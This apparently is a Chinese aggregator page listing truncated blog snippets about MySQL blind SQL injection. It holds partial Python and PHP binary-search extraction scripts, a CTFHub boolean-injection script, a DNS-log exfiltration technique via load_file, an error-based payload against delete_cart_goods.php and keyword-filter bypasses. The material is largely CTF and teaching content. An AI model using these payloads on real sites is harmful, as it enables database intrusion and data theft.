mysql 盲注二分法python脚本】的更多相关文章

import urllib import urllib2 def doinject(payload): url = 'xxxxxxxxxxxxxxxxxxxxx' values = {'injection':payload,'inject':'Inject'} data = urllib.urlencode(values) #print data req = urllib2.Request(url, data) req.add_header('cookie','xx=xxxxxxxxxxxxxx…
import requests import string #mysql 手动注入 通用脚本 适用盲注 可以跟具自己的需求更改 def home(): url="url" list=string.digits+string.letters+"!@#$%^&*()_+{}-=<>,./?" s=requests.session() success = "" # 成功返回的特征 error="" #失败返回的体…
0x01 技术原理 这里是利用load_file这个函数利用smb请求方式请求域名机器下的一个文件,由于计算机对该域名不熟悉所以需要优先请求DNS,所以我们通过DNS日志记录中的内容来获取回显.解决了盲注回显的问题,或者是时间注入判断的问题. 熟悉MySQL的人都知道,这个利用有几个要求或者说是限制条件 # 条件1 + 1.由于基于SMB请求,需要在Windows环境下 # 条件2 + 2.需要MySQL的配置支持,主要是这个配置需要为空 secure_file_priv 0x02 测试 0x0…
布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" def inject_database(url): name = '' for i in range(1,100000): low = 32 high = 128 mid = (low + high) // 2 while low < high: payload = "if(ascii(sub…
$sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'; $sPost = 'inject=Inject&injection='; $sCharset = 'ABCDEF0123456789'; /* for every character */ for ($i=0, $hash=''; $i<32; ++$i) { $ch = $sCharset; do { $ch1 = substr($ch, 0, intval(strlen($ch)/2)); $ch2…
猜解当前数据库名 输入 ' # ,显示不存在: 输入 ' # ,显示不存在: 输入 ' # ,显示不存在: 输入 ' # ,显示存在: 采用二分法猜解数据库名 输入 ' ,)) # ,显示存在,说明数据库名的第一个字符的 (小写字母 a 的 ascii 值): 输入 ' ,)) # ,显示存在,说明数据库名的第一个字符的 (小写字母 z 的 ascii 值): 输入 ' ,)) # ,显示存在,说明数据库名的第一个字符的 (小写字母 m 的 ascii 值): 输入 ' ,)) # ,显示存在,…
mysql: 1.left() //left()函数 left(a,b)从左侧截取a,的b位 2.mid() //mid()函数 参数 描述 column_name 必需.要提取字符的字段. start 必需.规定开始位置(起始值是 1). length 可选.要返回的字符数.如果省略,则 MID() 函数返回剩余文本. MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符. 3.substr() //su…
delete_cart_goods.php  post  id=a * sq_xfkjbd 暴库and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),f…
也可用bp进行爆破,这里用py脚本. 打看网页输入1,显示You are in,输入2,显示You are not in,是个布尔注入. 然后看看过滤了什么. sql注入没有过滤:--+.or sql注入过滤:union select.and.order by.空格 虽然or没有被当做sql注入处理,但是构造id=1'/**/or/**/1'='1--+时仍然是返回,You are not in. 所以应该是,or仍然被过滤,只是没有被当做sql注入,于是利用oorr来绕过. 下面给出爆破脚本:…
首先观察这个web应用的功能,可以任意留言,也可以搜索留言,当然我还用cansina扫描过网站,查看过源码,抓包查看过header等.没发现其他提示的情况下断定这就是个sql注入,可能存在的注入点呢,就是留言时产生 insert into 注入,或者搜索时产生的 like '%xx%' 注入.经过多次尝试,发现留言板不存在注入点,注入点就在搜索功能中. 有过网站开发经验的应该很清楚搜索功能一般是这样实现的 select * from users where name like '%tom%';…